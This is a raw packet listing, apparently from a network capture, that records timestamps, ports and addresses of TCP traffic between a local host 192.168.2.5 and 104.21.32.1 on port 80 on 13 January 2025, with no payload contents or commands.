Jan 13, 2025 09:22:25.357645035 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357697964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357705116 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357732058 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357754946 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357772112 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357816935 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357816935 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357827902 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357868910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357881069 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357914925 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357949972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.357959032 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357959986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357992887 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.357992887 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358048916 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358056068 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358079910 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358110905 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358114004 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358136892 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358146906 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358200073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358203888 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358203888 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358233929 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358257055 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358263969 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358293056 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358299017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358326912 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358352900 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358386993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358419895 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358431101 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358431101 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358453989 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358488083 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358506918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358525991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358530045 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358561039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358594894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358608007 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358608007 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358629942 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358659983 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358685017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358691931 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358730078 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358741999 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358742952 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358758926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358784914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358794928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358834028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358839035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358839035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358866930 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358892918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358903885 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358931065 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358933926 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358958960 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.358968973 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.358989000 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359005928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359036922 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359039068 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359062910 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359072924 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359093904 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359107971 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359143972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359149933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359149933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359175920 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359209061 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359220028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359245062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359277964 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359288931 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359288931 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359339952 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359374046 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359407902 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359420061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359420061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359445095 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359478951 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359486103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359486103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359513044 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359548092 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359560013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359560013 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359581947 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359616041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359627962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359627962 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359651089 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359685898 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359695911 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359695911 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359719992 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359734058 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359755993 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359776974 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359790087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359807014 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359826088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359858990 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359886885 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359886885 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359894037 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359919071 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359927893 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.359957933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.359963894 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.360008955 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.360008955 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447398901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447422028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447446108 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447516918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447516918 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447521925 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447546005 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447562933 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447567940 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447591066 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447597980 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447628021 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447633028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447633028 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447652102 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447674036 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447706938 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447715998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447715998 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447730064 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447751045 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447756052 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447772980 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447787046 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447787046 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447809935 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447845936 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447849035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447849035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447879076 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447896004 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447900057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447921038 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447940111 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.447957039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.447979927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448002100 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448002100 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448008060 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448029041 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448040009 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448061943 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448079109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448082924 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448082924 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448111057 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448111057 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448112011 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448133945 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448157072 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448174953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448174953 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448190928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448211908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448230982 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448230982 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448245049 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448251963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448267937 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448290110 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448311090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448311090 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448319912 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448342085 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448359966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448359966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448365927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448401928 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448404074 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448404074 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448421955 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448460102 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448460102 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448461056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448494911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448527098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448534966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448534966 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448599100 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448621035 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448641062 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448642015 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448642015 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448663950 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448671103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448671103 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448685884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448707104 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448724031 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448728085 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448753119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448753119 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448765039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448777914 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448786974 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448817968 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448822975 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448844910 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448865891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448865891 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448879957 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448889971 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448901892 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448935986 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448940039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448940039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.448968887 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.448992968 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449011087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449011087 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449014902 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449038029 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449038029 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449059010 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449062109 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449084997 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449085951 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449106932 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449127913 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449131012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449131012 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449151039 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449168921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449168921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449173927 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449194908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449204922 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449204922 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449218988 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449242115 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449265003 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449265003 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449311018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449364901 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449410915 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449490070 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449520111 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449532986 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449542999 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449562073 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449578047 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449578047 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449599028 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449634075 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449656963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449656963 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449665070 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449668884 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449688911 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449708939 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449721098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449721098 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449732065 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449754000 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449768066 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449768066 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449774027 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449795961 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449820042 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449824095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449824095 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449861050 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449861050 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449942112 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449975014 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.449992895 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.449994087 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450026035 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450031042 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450052977 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450053930 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450088024 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450090885 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450090885 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450109005 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450138092 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450144053 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450156927 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450177908 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450205088 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450223923 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450233936 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450258017 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450288057 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450288057 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450294018 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450314045 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450318098 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450340033 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450345039 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450359106 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450366974 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450381041 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450396061 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450407982 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450408936 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450423002 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450427055 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450463057 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450469017 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450484991 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450505018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450505018 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450505972 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450530052 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450537920 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450551987 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450573921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450573921 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450582981 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450615883 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450617075 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450638056 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450658083 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450658083 CET	49865	80	192.168.2.5	104.21.32.1
Jan 13, 2025 09:22:25.450673103 CET	80	49865	104.21.32.1	192.168.2.5
Jan 13, 2025 09:22:25.450695038 CET	80	49865	104.21.32.1	192.168.2.5
